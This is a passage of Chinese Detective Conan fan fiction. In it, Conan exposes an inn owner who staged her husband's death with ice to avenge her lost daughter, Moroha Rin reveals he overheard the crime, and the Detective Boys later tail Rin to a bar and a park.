“冰块的厚度我想恐怕和尸体外的冰块厚度一致,等尸体身上的冰块化掉,玻璃杯就会几乎同时掉落,响声就会吸引我们的注意。然后让赶到现场的我们,看到本来在冰块的影响下血液被冻住的尸体,在高温水流的作用下,血液重新开始扩散的画面。
这一切——就让我们误以为那是一场刚刚发生的谋杀!”
房间里顿时鸦雀无声。
“这个时机非常难掌握。”柯南低声道,“没有多次实验与熟悉环境的人,根本不可能做到精准控制冰块厚度与融化速度。”
他透过后门的缝隙看向屋内,锐利的目光落在山中由希子脸上。
“我想——”
“恐怕只有作为这家旅馆老板的你,山中由希子女士,才能做到这一切!”
山中由希子低下头,垂在身侧的手缓缓握紧,掌心红肿的地方此刻微微发白。
“这也不过是你的一种说辞!”
山中加奈死死咬着唇,“尸体完全也有可能是真的才死啊!”
“不可能!”柯南的声音坚定、干脆。
“目暮警官,请你看一下尸体的眼角。那里是不是有一层苍白色、薄膜状的物质?”
目暮警部立刻走过去俯身查看,仔细地掀开死者的眼睑。
“没错,确实有。”
“那是瞬膜。在正常死亡的情况下,瞬膜的颜色会是淡粉色,现在却是苍白色。这正是尸体曾经经历过冰冻的证据!”
“因为在冰块的低温下,细胞内的水分会被冻结,破坏细胞壁,而当尸体再次暴露在高温中时,这些受损细胞无法复原,颜色就会变得这样苍白。”
空气里响起一阵低低的吸气声。
“胡说!”山中加奈红着眼眶,“或许爸爸他眼睛有问题呢?这也不能说明什么!”
“是吗?那山中女士能解释一下,为什么这里明明是低温温泉,但在我们赶到时,池里的水温却比旁边的普通温泉还要高呢?”
山中加奈:“什——?”
“我一开始确实被那个半开的后门误导了,没注意到当时的温度,但现在想起来,我们进入现场时,这里的雾气异常得离谱!”
“低温温泉的水温不该产生那样浓的雾气!这说明有人刻意调高了水温!”<
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p>“听小兰说,你当时以‘看到池底有玻璃渣’为由,立刻放掉池水,就是为了防止警方发现这一点吧?”
“你需要让处于低温的尸体在冰块融化后快速恢复正常温度,才能制造出那种‘刚刚死去’的假象,并让我们都作为证人。所以你提前调高了水温,而这件事,只有旅馆老板、也就是你,山中由希子女士,才能做到!”
“不是的!”山中加奈慌乱地摇头,眼泪在眼眶里打转,“我进来的时候水温是正常的!而且你还是没有证据!”
“没错,”柯南淡淡接道,“现在水已经被放干净了,确实无法再验证温度。”
山中加奈刚松了一口气,却听到他话锋一转——
“不过,只要去冷库测一下,就能知道真相。”
目暮警部一愣:“冷库?”
“是的。哪怕表面上擦洗的再干净,但作为真正的第一现场,冷库里一定能测到残留的血液反应。”
柯南又补上一句:“另外,山中女士,不知道你愿不愿意让医生检查一下,看看你手上的伤口究竟是烫伤,还是冻伤!”
“可、可是……”山中加奈哽咽着,还想辩驳。
“加奈。”一道疲惫却平静的声音打断了她。
山中由希子抬起头,脸色苍白,却不再闪躲:“别说了。”
“妈、妈妈……”山中加奈颤声唤她。
山中由希子慢慢走到目暮警部面前,伸出双手。
“我承认,凶手就是我。”
“带我走吧。”
柯南看着她那副平静的神情,终于问出了那句压在心里的疑惑:
“你为什么要杀山中先生?”
这起案件中,他唯一无法推理出的就是她的动机。
也是因为这一点,一开始无论是他还是其他人,都没有把怀疑的目光放在山中由希子身上。
“……为什么?”
山中由希子缓缓走向温泉池边那具尸体旁。
就在所有人以为她只是想靠近的时候——
“砰!”
她突然抬腿,狠狠踢在山中康治的头上!
“山中女士!”
目暮警部和佐藤美和子几乎同时反应过来,连忙冲上去把她拉开。
“冷静点!”
她被往后一拖,被迫远离池边,但仍死死盯着那具尸体,呼吸急促。
她的身体缓缓软下去,瘫坐在地,披散的头发垂在脸侧,眼中燃着浓得化不开的恨意。
“你问我为什么?”
“我还想问这个畜生为什么!”
14.玩偶
“当年,我的前夫因为车祸去世,留下我一个人经营这家温泉旅馆。那时候虽然辛苦,但我很幸福。”
她的表情逐渐从尖锐的恨意变得柔和,嘴角浮出一抹怀念的笑。
“我有个女儿,叫奈奈。”
“奈奈?”目暮警部重复了一遍这个名字。
山中由希子轻轻点头,笑容温柔却脆弱:“嗯,是我和前夫的女儿。她很可爱,也很懂事。那时候她才六岁,却从不哭闹。知道我忙,就帮我端茶、招待客人。那段时间……真的很幸福。”
但那份笑容只维持了几秒。
“可是!”她的声音忽然变了,像是裂开的玻璃,“这一切,都被这个畜生给毁了!”
她又一次瞪向地上的尸体,声音陡然拔高:“我恨他!也恨自己!恨自己当初为什么会被他的作品吸引!为什么要让他走进我的生活!”
她的指甲几乎掐进掌心。
“那时候他追求我,但我根本不想结婚。我拒绝他,只想和奈奈两个人好好生活。可是——”
她的呼吸越来越乱,声音嘶哑。
“没过几天,奈奈就失踪了!”
“不会吧……”毛利兰倒吸一口气,双手捂住嘴。
“警方调查后,说奈奈是自己跑到了山里。那时候我崩溃到几乎疯了。”她闭了闭眼,眼角颤抖,“而他,山中康治,就在那个时候出现,每天帮我找人,每天都安慰我,陪我……最后,我感动于他的付出,答应和他结婚。”
“虽然他总是不在家,但没关系,加奈是个好孩子,”山中由希子温柔地看着已经哭得不能自已的山中加奈,“那时候有加奈陪着我,我才真的渐渐从奈奈的死亡里走出来。”
“我以为这样平淡却令我满足的人生能一直这样延续下去,直到……半个月前。”
柯南摘下眼镜,用袖口擦了擦,他已经猜到接下来的话会是什么。
山中由希子的唇角轻轻一抽:“那天,他喝醉了,自己说漏嘴了。”
“奈奈根本不是自己跑出去的!是他!是山中康治这个畜生带她去后山的!”
“就因为我拒绝他,他就把一个六岁的孩子丢在山里!!”
“让她一个人……一个人——”
她说到这,声音彻底破碎,“在山里死掉了……”
池边陷入令人窒息的死寂。佐藤美和子目光湿润,连目暮警部都愣在原地,表情僵硬,喉结上下滚动。
“怎、怎么会……”毛利兰的声音颤抖着,“那孩子才六岁啊……”
山中加奈早已哭得崩溃,她扑过去抱住母亲,声音哽咽:“妈妈——够了,不要再说了!”
山中由希子却没有哭,她的眼里没有泪水,只有彻底的疲惫和解脱。
她抬手,轻轻拍着女儿的背,声音忽然变得温柔。
“别哭了,加奈。”
“能亲手为奈奈报仇……妈妈已经很满足了。”
山中由希子站起身。她的表情已经恢复了平静,甚至带着一点解脱的柔和。
她再次走到目暮警部面前,伸出双手:“走吧。”
目暮警部沉默了一瞬,叹了口气,亲手给她戴上手铐。
那清脆的“咔哒”声在此时显得格外刺耳。
他们刚准备离开,一道淡淡的声音从门口传来——
“等一下。”
众人看过去。
诸叶凛正静静地站在那里,逆着灯光,看不清神色。
他走上前,伸手递出一只玩偶。
柯南探头。这就是诸叶说在后山找到的东西吗?
那是一个满是泥土的玩偶,绿色的小怪兽样式,肚皮被刮破,内部的发声装置露出一点金属光。
“山中女士,这个,还给你。”
山中由希子呼吸一窒。
她盯着那个玩偶,像被雷击中一样,僵硬却快速地伸出手,分明是抢过去的动作,却在碰到玩偶的一瞬间,力度轻得像怕弄疼了它。
“这……这是……没错,这是我……我给奈奈的生日礼物!”
她用力抓住诸叶凛的手腕,眼中全是恳求。
“你在哪里找到的?!求求你,求求你告诉我,好不好?!”
诸叶凛垂下眼帘,与那双满是泪水的双眼对视:“跟这个玩偶在一起的,有一具小女孩的尸骨。”
“……我已经把她埋在了你烧纸钱的地方。”
山中由希子的身体瞬间失去力气。
她跪倒在地,双手抱着玩偶,泪流满面。
“太好了……我终于找到你了……”
“奈奈——奈奈!”
毛利兰擦掉眼泪,欣慰地说道:“我记得……山中小姐说过,那孩子一直没有找到……现在,终于……”
诸叶凛蹲下身,指尖轻轻点了点那只破旧的玩偶。
“抱歉,刚才不小心碰到它,听到了点东西……你要听听吗?”
山中由希子哽咽着点头,颤抖着手去按玩偶背后的发音键。
哪怕已经过去十年,她依然清楚记得那一处按钮的位置。
“嘀——”
一阵微弱的电流声后,一个清脆又稚嫩的声音响起:
“妈妈,山中叔叔带我找到紫色蝴蝶了!我抓到一只,好漂亮!”
那是小小的童音,充满兴奋。
山中由希子全身一震,仿佛被拉回到十年前。
小女孩趴在桌上,指着图画书上的插图,眼睛亮亮的。
“妈妈,这个紫色的蝴蝶好漂亮!”
山中由希子笑着摸摸她的发顶:“那叫大紫蛱蝶,是日本的国蝶。”
“那妈妈喜欢吗?”
“当然喜欢。”
小女孩歪着脑袋想了想,认认真真地看着那一页图。
记忆破碎。
山中由希子的手已经颤抖得拿不稳玩偶,玩偶滑落在地。
诸叶凛默默捡起它,轻轻按下发音键。
童声再次响起,但这一次,却没了之前的活力。
“对不起,妈妈……我没跟上山中叔叔,阿嚏!……蝴蝶也不小心弄丢了,现在奈奈没有给妈妈的礼物了……”
诸叶凛再次按下那个按钮,然而,接下来的一段录音,是长长的寂静。只有山风穿过林隙的呜咽,和几声遥远的鸟鸣。
这寂静持续了十几秒,然后,录音里传来一声极轻、极模糊的,像是气音般的:
“妈妈……”
声音戛然而止。
山中由希子彻底崩溃。
“奈奈!!奈奈——!!”
她的身体剧烈地颤抖,泪水滑落在玩偶脏污的表面,但哪怕如此,那双抱着玩偶的手依旧轻柔。
所有人都沉默了,谁都没有再出声。风从门外吹进来,吹散了山中由希子眼角的泪滴。
诸叶凛半蹲在她面前,伸手替她拨开垂在脸前的一缕乱发。
“至少,现在她不再是一个人了。”
山中由希子胡乱地点着头,抱着那只满是泥土的小玩偶,哭了很久很久。
没有人打扰山中由希子,哪怕她刚刚杀了人。
过了许久,哭声渐渐止住。
她擦去泪水,深深吸了一口气,勉强让声音平稳下来。
“我们走吧。”
她转向目暮警部,眼神澄澈得让人不忍直视。
“我已经……彻底没有遗憾了。”
她站起身,忽然上前,重重抱了一下诸叶凛。
“真不知道该怎么感谢你。”
诸叶凛看着她:“你的计划很成功,为什么不再多等两天?”
山中由希子露出一个释然的笑:“我知道的。如果不是遇上了毛利侦探,我的手法也许不会被揭穿。”
“就像十年前一样,那些无能的警察会在山里空转几天,最后什么也找不到。”
她说得平淡,却让人心口一紧。
旁边的佐藤美和子目光一颤:
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“抱歉……如果我们能早点找到奈奈的话……”
山中由希子摇头:“不,别道歉。”
她回头看着山中康治的尸体,眼神再次变得锐利——
“我的确可以等。可是!这个畜生竟然敢那么轻飘飘地说着我女儿的死!我实在无法容忍!一分钟一秒钟都不可以!”
目暮警部叹息着,带着人离开。
手铐的金属碰撞声渐行渐远,尸体被抬走,警察们也一起离开,温泉边重新安静下来。
毛利小五郎终于醒过来,听完柯南和毛利兰的讲述,神情复杂地叹了口气。
“中午的时候听到那家伙说话我就觉得不舒服,没想到背后还有这样的悲剧……”
他摇摇头,转向平山申介:“平山先生还要找人吗?”
“……不用了,”平山申介面色复杂,“我要找的人已经被这位诸叶君找到了。”
他说完,看了看山中加奈,语气低沉却真诚:“那笔钱,我会在原本约定的日期还给你。”
说罢,他转身离开,身影消失在旅馆外的夜色里。
“山中小姐……你没事吧?”毛利兰轻声问。
山中加奈抬起头,神色空洞:“没事。”
“山中姐姐,校徽的事……?”柯南问。
山中加奈沉默了一下,低声道:“那是我故意扔在那里的。”
她的目光落在空无一人的温泉池上,眼神怅然。
“其实在看到那把匕首时,我就知道凶手是妈妈。”
“因为那把匕首是我的,本来应该在三天前,由我亲手送进那个人渣的胸膛!”
三天前的夜晚,她双手握着匕首站在床边,手在抖,泪也在流。
就在她快要刺下的一瞬间,是妈妈伸手抱住了她。
“再坚持一下,加奈。”
“结束这一切的人,不该是你。”
“我当时不懂她什么意思,”山中加奈轻轻笑了笑,眼角湿润,“但今天看到那把本来被妈妈收走的匕首出现在温泉,我就全都明白了。”
她的笑带着疲惫与苦涩:“原本以为只要先想办法排除嫌疑,再用证据制造更大的疑点,就能伪装成一个想办法逃脱嫌疑的凶手,把一切怀疑引到自己身上,骗过名侦探……”
她转过身,走向诸叶凛,也像山中由希子一样抱了他一下。
“谢谢你,诸叶君。谢谢你帮妈妈完成了她的心愿。”
说完,她静静转身上楼,背影在灯光下显得瘦小而决绝。
毛利小五郎、毛利兰还有柯南三人也离开了温泉,柯南临走前看向留在里面的诸叶凛:“你要不要和我们一起走?”
毛利兰:“没错,我们车上还有一个位置。”
诸叶凛拒绝道:“我的朋友说他来接我,已经快到了。”
他这么说,他们也没有固执地继续邀请。
路过餐厅,毛利兰看着里面那定格在热闹的时刻,如今却冷清又空荡的画面,有点感慨:“没想到……一切会发生得这么快。”
“是啊。”毛利小五郎挠了挠头,看着周围的各种照片,“真没看出来那家伙那么混蛋,明明出门还记得带纪念品给妻子。”
毛利兰叹息:“山中女士用那套杯子来制造注定会摔碎的机关……我想,也证明她知道真相后,已经对山中先生完全没有情谊了。”
毛利小五郎冷哼一声:“这样才对,兰,如果你遇到类似欺骗感情的混蛋,一定不要和他纠缠!”
柯南嘴角抽了抽。毛利大叔不会是在说他吧?
“爸爸——!”毛利兰跺了跺脚。
“不过那套杯子真的挺漂亮的,就这么碎掉一个真可惜。”毛利小五郎说。
……等等!
杯子……碎了一个!
柯南眼神一变。
“柯南?你去哪?!”毛利兰惊呼道。
柯南一边往回跑一边向后摆手:“我有很重要的东西落在里面!马上回来!”
15.早就知道
诸叶凛低头看着手上的照片。夜风拂过,纸面轻轻颤动。
他站在池边一动不动,直到背后传来急促的脚步声。他转身,月光洒下,映在他的侧脸上,那双湛蓝的眼睛被光折出一层冷淡的银蓝色。
诸叶凛看着那个跑来的小侦探,与那双同样是蓝色,却更明亮、更锐利的眼睛对上,视线在空中交汇。
柯南在这一刻停下脚步,眼里有愤怒、不解、还有一点恍然。
诸叶凛看懂了,唇角轻轻一弯:“看样子,是来兴师问罪的。”
柯南握紧拳头:“你……早就知道,对不对?”
“知道什么?”诸叶凛的神情依旧平静。
柯南:“在我们还在餐厅的时候,你就知道山中先生已经死了。甚至包括凶手是谁、作案手法是什么……你全都知道,对不对?!”
诸叶凛没有反驳,而是反问道:“可以让我听听,你是怎么推理出这个结论的吗?”
柯南深吸一口气:“疑点太多了。”
“比如,你一开始就注意到地上的鞋印不对劲,也察觉到温泉的温度异常,可你却什么都没说。”
诸叶凛点点头:“还有呢?”
“最关键的证据,是你在晚餐的时候说的那句话!”
“杯、子、不、够。”柯南一字一顿地复述这句话。
诸叶凛拿着照片的指尖微微一顿。
“午餐的时候的确少了一个杯子,可那时山中先生在场。到了晚上,山中先生没来,杯子数目应该刚好才对,可你却说杯子不够。”
柯南上前一步,眼神锐利:“因为你那时候就知道,有一个杯子被山中由希子拿去当作机关,根本用不了!不要说你连餐厅里有七个人还是八个人都会数错!”
诸叶凛若有所思地点了下头:“没想到,只是一句话的破绽,就被你发现了。”
“不过,你的推理,只对了一半。”
柯南一愣。
诸叶凛往前走了几步,在柯南警惕的目光中蹲下,两双相似的蓝眼在极近的距离互相看着对方。
“萩原警官没告诉你吗?我的听力很好,好到隔着警视厅的隔音玻璃和墙壁,也能听见隔壁的声音。”
“冷库的隔音……”他歪了歪脑袋,“你觉得会比警视厅更好吗?”
柯南瞳孔一缩:“难道你——!”
“没错,其实山中康治被杀的全过程,我都听到了。”诸叶凛看着面前的小侦探,眼里的意味让人分辨不清。
“甚至更早一点,在山中康治走进冷库之前,山中女士拿着那把匕首低声哭泣的时候,我就听见了。”
柯南的呼吸陡然一紧,拳头攥得更紧。
“既然你都听到了,为什么不阻止她?!”
他的声音因为愤怒而微微颤抖:“你分明……分明就可以阻止这场悲剧啊!”
诸叶凛没回答,只是抬起手,将一直拿着的那张照片递到柯南面前。
照片上的画面很熟悉,那正是山中康治说过最喜欢的那张:公狮子俯身扑咬母狮子背后的幼崽,而母狮子正张开獠牙,拼命护住孩子。
诸叶凛什么都没说,但柯南却明白了。
他垂下头,沉默下来。
诸叶凛的声音在头顶轻轻响起:“我很尊重山中先生的个人意志,他认为杀掉对方的孩子是动物本能,不残忍,也不可怜。”
“那在面临因此而来的反击时,他应该也不会觉得对方残忍,对吧?”
柯南继续沉默。
诸叶凛手指一捻,将那张照片撕成两半。
碎片飘落,落入池底残存的水中。纸面被浸湿,很快软化,画面一点点模糊,颜色晕开,就像是之前山中康治在池中,血液在身边扩散的那一幕。
他站起身朝外走去。
“……下一次!”
身后,声音骤然响起,满是炽热与坚定。
诸叶凛回头,小小的少年直视着他,目光灼灼。
“下一次,我一定会先一步发现,然后阻止悲剧的发生!”
“不错的意志。”诸叶凛愣了半秒,随即微微颔首,“那就加油吧,小侦探。”
他再次迈步离开。
柯南没有拦他。在最初的愤怒过去后,他的心里逐渐生出另一种无法解释的冲动。
“好……奇?”他感受着自己此刻的心情,皱了下眉。
他……竟然在好奇诸叶凛这个人吗?
诸叶凛在门口停下脚步,回头看他。
“好奇心是侦探的必需品,不必为此感到烦恼。还有,记得看我给你的纸条,至于你的地址,我已经知道了,毛利侦探事务所很好找。”
柯南这才想起来自己还没看之前诸叶凛给的地址。
他从口袋里掏出那张便签条,低头一看,身体瞬间僵住。
纸条上写着:米花町2丁目20番地。
他在成为“江户川柯南”之前,住的地方……正是米花町2丁目21番地!
这……这不
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就是隔壁吗?!
心脏“咚”地一声,柯南神色彻底变了,一股寒意从脊椎直窜而上。
竟然刻意提醒自己看这个纸条,难道他是在暗示什么?
莫非……他知道自己变小的事?!
柯南冲了出去,穿过空旷的走廊和闪烁的应急灯,推开那扇沉重的木门。
可是门外只有等待他的毛利小五郎和毛利兰,诸叶凛的身影早已消失在夜色中。
柯南握紧那张纸条,掌心微微发凉。
--
诸叶凛坐在副驾驶,靠着椅背闭上眼,今天在山里长时间的步行,对他还未完全恢复的身体来说,还是有些勉强。
夜色被窗外的霓虹灯切割成碎片,一闪一闪地掠过他脸侧。
驾驶座上的赤见枫瞥了一眼,注意到诸叶凛此时的好心情。
“院长大人很喜欢逗那个小朋友吗?”他开口,半是好奇半是揶揄。
“嗯。”诸叶凛淡淡一笑,“的确很有趣。”
“那今天有发生什么好玩的事吗?”赤见枫单手打着方向盘,随口问道。
诸叶凛看向窗外,车子正驶过一条河岸,水面反射着城市的灯光,碎成万千点光。
“算不上好玩吧。”他靠回椅背,阖上眼,把今天发生的事情简单叙述了一遍。
听完,赤见枫轻轻挑了下眉,把车停在路边,转身抓起诸叶凛的左手放在自己的头上。
诸叶凛看着他,赤见枫晃了晃脑袋,让发丝从指缝间穿过。
“如果哪一天我被人杀死,院长大人也会这样为我报仇吗?”
“不会。”
“诶?”得到这样的回答,赤见枫却没有失落,反而得意地笑了下,“也对,我只会死在自己的炸弹下,院长大人也没有可以复仇的对象嘛。”
赤见枫重新启动车辆,还想说些什么,忽然注意到诸叶凛在灯光的映照下有些苍白的脸色,连呼吸都有些短促。
赤见枫神情一变,收了笑意:“院长大人,你还好吗?”
诸叶凛轻轻摇头:“只是有点累。”
赤见枫沉默片刻,突然想起一件事,声音重新变得活跃。
“对了,我记得【恋人】提过他之前去过一个小岛。”他一边回忆,一边打了个响指。
“听说很漂亮,空气清新,气候温和,特别适合疗养。要不要去那边住一阵?”
“小岛?”
“嗯,”赤见枫努力回想名字,“好像叫……月影岛。”
16.跟踪开始
午后的阳光透过半开的窗帘洒进屋里,步美,光彦和元太坐在阿笠博士家的电视机前看着最新一集的假面骑士,十分入神。
柯南则趴在阿笠博士家的窗台上,手里举着望远镜,一边左右晃动一边小声嘟囔:“这个角度什么都看不见啊……”
阿笠博士看着他奇怪的姿势,满脸疑惑:“看不见什么?”
柯南放下望远镜,转过头,神情十分认真:“博士,你最近有关注我家隔壁新搬进来的人吗?”
“隔壁?”阿笠博士挠挠头,“你是说20番地那户?”
他眯着眼回想:“前几天的确看到那边搬了不少东西进去,这么快就已经有人住进去了吗?”
柯南皱眉:“这么说的话,博士没见过他?”
“他?你在说谁啊?”阿笠博士越听越糊涂。
“诸叶凛,博士有听说过这个名字吗?”
阿笠博士摇头。
“没印象呢,不过……”他摸着下巴,若有所思地说,“最近白天我做实验的时候,经常能听见一点钢琴声。不知道是不是你说的诸叶君弹的,但声音的确是从那个方向传来的没错,而且正好是前几天才开始有的。”
“每天都有?”柯南追问。
“嗯,断断续续的,听不出是什么曲子,不过每天都有。”
柯南透过窗户看向诸叶家被遮挡后露出的一角。
白天的钢琴声……
如果真的是诸叶在弹,那么他白天大概率待在家里。但这并不能证明什么,对方完全可以晚上出门行动。
“不过啊,新一,”阿笠博士忍不住问,“你怎么突然开始关注起邻居的事了?”
柯南示意他靠近一点。
阿笠博士弯下腰,撑着膝盖俯身。
柯南压低声音,凑近他耳边,把之前的炸弹案和温泉旅馆事件简单讲了一遍。
阿笠博士越听越皱眉:“嗯……听起来,对方的确很可疑啊。”
“没错。”柯南神情凝重,“但我想不通,如果诸叶真的是那个组织的人,为什么什么都不做?而且两次见面都很巧合,看起来没有特别想要靠近我。”
第一次,是他自己觉得诸叶举止诡异,主动上前搭话。
第二次,则是小兰意外抽中了温泉旅馆的旅行券,纯粹的偶然。
柯南事后调查过,无论是毛利侦探事务所的线路或是通讯设备都没有异常,也没有任何窃听装置。
而诸叶比他们早一步出现在温泉旅馆。以路程和时间计算,怎么看都更像是巧合。
但为什么他要特地提醒自己去看那张写着地址的纸条?
沙发上,正看着假面骑士打怪兽的步美,忽然感觉袖子被轻轻扯了两下。
“嗯?怎么啦,光彦?”
光彦神秘兮兮地把食指竖在嘴边,低声道:“嘘,你们看那边。”
他指了指窗户的方向。
步美顺着手指看过去,只见柯南和阿笠博士正贴在窗边,小声交谈着什么。
柯南神情严肃,博士时不时点头,样子完全不像在聊天,更像在商量什么大事。
“……你们觉不觉得,”光彦压低声音,“博士和柯南好像有事情瞒着我们?”
元太瞪大眼睛看了几秒,然后重重点头:“没错!每次偷偷行动的时候,柯南都是这种表情!”
“太过分了!”步美不满,“怎么可以只告诉阿笠博士,不告诉我们!”
三人偷偷凑到一起,嘀嘀咕咕,时不时探头偷看。
而另一边,柯南完全没发现这边的小小骚乱。
“……难道真的只是单纯的提醒?”他低声喃喃。
以诸叶那种奇怪的交朋友流程,说不定真有可能。可问题是——
“就住在隔壁,这也太巧了吧……”
阿笠博士托着下巴,沉吟片刻,忽然提议:“既然你这么在意,不如跟踪调查一下那位诸叶君?”
“跟踪?!”
“调查!!”
“诸叶君?”
柯南刚想说什么,身后突然响起三道惊呼。
博士差点被吓得跌倒:“啊哈哈……你们怎么在这里啊?”
元太眼睛里都在放光:“又有什么案件需要我们少年侦探团出马了吗?!”
光彦盯着柯南:“我们可不允许你丢下我们一个人去行动!”
步美双手叉腰,一脸认真地补充:“没错,我们也要跟踪调查!”
“你们什么时候过来的?”柯南问道。
“博士说‘跟踪调查’的时候!”光彦抢答。
柯南暗暗松了一口气。
还好,他们只听见这一句。
他挤出一个天真的笑容:“我和博士在说游戏啦。”
“游戏?”步美歪着头。
“对对对。”阿笠博士立刻接上话,“是游戏里的侦探要跟踪嫌疑人,柯南不知道这么做对不对,所以来问我。”
“啊?原来是游戏啊。”元太失望地瘪了嘴,“我还以为又有案件呢……”
步美点点头:“不过柯南的游戏水平,确实需要找人帮忙呢。”
“……哈?”柯南嘴角微微抽搐。
喂喂,他只是不会玩动作类游戏而已,推理类他可从没输过啊。
不过能这样糊弄过去也好,少年侦探团的热情一旦点燃,可是比炸弹还难控制的。
元太想要回去继续看假面骑士,却突然被光彦拉住。
光彦仰头,对阿笠博士不好意思地笑笑:“我突然想起来作业还没写完,先回去了。”
“诶?可是我还想看完再走啊——”元太一脸不舍。
步美拽着他的小臂:“走啦!”
三人离开了阿笠博士家。
出门后元太还在嘀咕:“我作业早就写完了,为什么要拉我走啊?”
步美摇摇头:“不知道,但感觉光彦突然说要回去很奇怪。”
她转过头,认真看着光彦:“你是不是发现什么了?”
光彦得意地挺了挺胸:“没错!刚才我说只听到了‘跟踪调查’那句话,其实前面那句我也听见了,柯南说嫌疑人就住在隔壁!”
还没等其他两人反应过来,元太已经一溜烟地跑到工藤新一家门口,贴着铁门往里看。
“可是这里看起来没人住啊?”
步美也跟了上来,踮着脚探头。
“嗯……门口台阶上都有灰尘呢,好像很久没打扫过。”
“笨蛋!”光彦叉着腰,语气十足地反驳,“隔壁又不一定是这么近的隔壁,肯定就在这附近!”
他四处打量,忽然目光一亮:“看!那里!”
顺着他的手指方向,步美和元太都看到了那栋整洁的新房,门铃旁的铭牌上写着三个漂亮的手写字:诸叶宅。
三人走到门口时,一阵钢琴声正从屋内传出,旋律低沉而悠长。
元太兴奋地小声喊:“肯定就是这里!”
步美却怔怔地站着,耳朵被那曲调牢牢吸引。
“……好悲伤的
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曲子啊。”
钢琴的声音在风中若有若无地飘荡。每一个音符都像落在玻璃上的雨滴,冷清、细碎,又隐约带着一点哀伤。
突然,琴声停了,接着,一点脚步声透过窗缝渐渐靠近门口。
光彦第一个反应过来:“有人出来了!”
他赶紧拉着元太和步美躲到树后。
几秒后,“咔——”一声轻响,大门被推开,接着外面的铁门也被打开。
三人齐齐屏住呼吸,等脚步声走远一点后,才小心地从树后探出头。
元太看着那个穿着深棕色外套的背影:“就是他吧?柯南说要跟踪的人!”
光彦点点头:“应该没错,我们偷偷跟上。”
“就我们三个吗?”步美有点犹豫。
“当然啦!”元太一脸自信地握拳,“我要证明,就算没有柯南,我们少年侦探团也能解决问题!”
光彦沉思了一下:“我们只跟到天黑就回去,而且只是远远观察,不会有危险的。”
“好吧。”步美被说服了。
诸叶凛刚走过一段路,后面一颗树干后方立刻“咻”地探出三个脑袋。
很快三个脑袋又“唰”地缩回去,然后鬼鬼祟祟地快步跑到另一颗树后。
诸叶凛在十字路口稍微停下脚步时,旁边的电线杆后面,光彦观察后小声汇报:“目标往左边走了!”
“收到!”元太迅速回道。
步美紧张地拍了下他:“嘘,小声点啦!”
一段跟踪后,他们猫着腰,从一辆停在路边的汽车后探出头。
“不对劲!”
看着看着,光彦的声音突然拔高,带着一种终于发现重要线索的兴奋。
元太正费力地嚼着一颗硬糖,闻言含糊地问道:“嗯?怎么了?”
“你们看!”光彦指向前方。
诸叶凛正站在街角一家酒吧的门口。那地方看起来相当不起眼,外墙是深褐色的木质装饰,一扇厚重的黑色木门仿佛能将内外的一切声响都吞噬殆尽。门口没有招牌,只有一枚小小的、刻着乌鸦图腾的金属门牌嵌在墙上。
他抬手从口袋里取出一只黑色口罩戴上,然后推门走了进去。门合上的瞬间,隐约有混杂着烟酒气的爵士乐流出来,又立刻被隔绝。
光彦神情凝重地推理道:“正常人不会这样吧?明明一路上都没戴口罩,偏偏进去之前才这么做,肯定是不想让酒吧里的人看到自己的样子!”
“那就是说——”元太瞪大眼睛,“他是在酒吧里进行什么秘密交易吗?!”
步美倒吸了一口气:“交、交易?!”
下一秒,元太脑海里已经自动浮现出一幅惊心动魄的画面:
昏暗的灯光下,诸叶凛将交易的东西放在桌面上,而对面的黑衣墨镜男检查后将一个金属箱子推给诸叶,里面全是成捆的钞票。
“好多钱,够买一辈子的鳗鱼饭了……”元太幻想着电视里看过的类似画面,口水差点流出来。
光彦一脸严肃地总结:“看来柯南怀疑他不是没有理由的!以我的推理来看,这一定是黑色组织的秘密交易!”
步美:“那我们是不是要赶快通知柯南?”
“别急,”光彦扶了扶想象中的眼镜,像个大侦探一样说道,“我们必须先确认目标是否真的在进行交易,侦探的判断要基于证据!”
元太激动地点头:“好!那就继续观察!”
三颗脑袋又一次整整齐齐地探出车身,齐刷刷盯着酒吧门口。
17.熟练的撸猫技巧
不到十分钟,诸叶凛再次从酒吧里走了出来。
元太眼尖地第一时间发现:“你们看!他手里多了个袋子!”
那是个棕色硬纸袋,表面没有任何装饰和图案,似乎只是随处可见的普通袋子。至于里面装的东西,虽然他们看不见,但从走动时晃动的幅度看,重量不轻。
元太咬牙:“果然!这就是交易物品!”
光彦在车后挪了几步,朝元太和步美挥手:“我们继续跟上!也许能弄清楚那袋子里到底是什么!”
诸叶凛走得不快,他们隔着半条街远远尾随。
一路跟到公园时,天色已经渐渐暗了下来。黄昏的光柔和又温暖,公园的草地被染成浅橘色。
夕阳从远处的高楼缝隙间洒落,投下细长的树影,空气里弥漫着花草和泥土的味道。秋天的风轻轻掠过树梢,带起一阵沙沙声。
“他坐下了。”光彦小声报告。
诸叶凛在一张木质长椅上坐下,纸袋放在椅子旁,抬眼看着远处天边最后一抹余晖。
就在这时,一只胖乎乎的橘猫慢悠悠地从草丛里走了出来。它步伐优雅,尾巴高高翘起,身上的毛在夕阳下泛着暖金的光。
“喵~”
橘猫轻声叫了一下,凑到诸叶凛脚边,尾巴绕着他的小腿转了一圈。
步美紧张起来:“猫咪小心,那可是坏人啊……”
但她的担心显然没有传递给猫。
橘猫抬头,径直一跃,稳稳地跳上了长椅,接着更大胆地直接钻进诸叶凛的怀里。
诸叶凛低头看了它一眼,抬起手,顺着那团毛茸茸的橘色轻轻一抚。
“呼噜——”
猫咪舒服地半眯起眼,喉咙里发出满足的呼噜声。
“喵。”
又一声轻软的叫声响起。一只通体漆黑、唯有四爪雪白的猫咪,悄无声息地跃上长椅。
它没有靠近,只是坐在另一端,矜持地舔着爪子,碧绿的猫眼却一瞬不瞬地盯着诸叶凛抚摸橘猫的那只手。
橘猫似乎感受到了威胁,喉咙里发出低沉的呜声。
黑猫不甘示弱,尾巴尖警告般地甩动几下后忽然伸出爪子,在橘猫背上拍了一下。
“喵呜!”
橘猫炸毛反击。两只猫顿时扭成一团,“咪咪喵喵”地叫声此起彼伏。
诸叶凛伸出双手,一手一个把它们提起来,看起来对应对这种场面很熟练,语气里带着点无奈的笑意:“不要打架。”
被分开的两只猫还在互相用爪子“空气挠挠”,但在被重新放到腿上,被诸叶凛一边一只地摸后,都安静下来,只是还时不时互相蹬对方一脚。
诸叶凛半垂着眼帘,夕阳在他纤长的睫毛下投出细碎的影子,那总是没什么表情的侧脸,在暮色与猫咪的环绕中,竟显出一种温柔的宁静。
步美看得呆了,小声呢喃:“诸叶哥哥……好像童话里的精灵啊。”
她有些纠结:“会被小猫咪喜欢,感觉不像坏人诶。”
“可、可是——”元太还没放弃自己的脑补,“那刚才酒吧的事怎么解释?!”
步美和元太对视了一眼,谁也不服气。
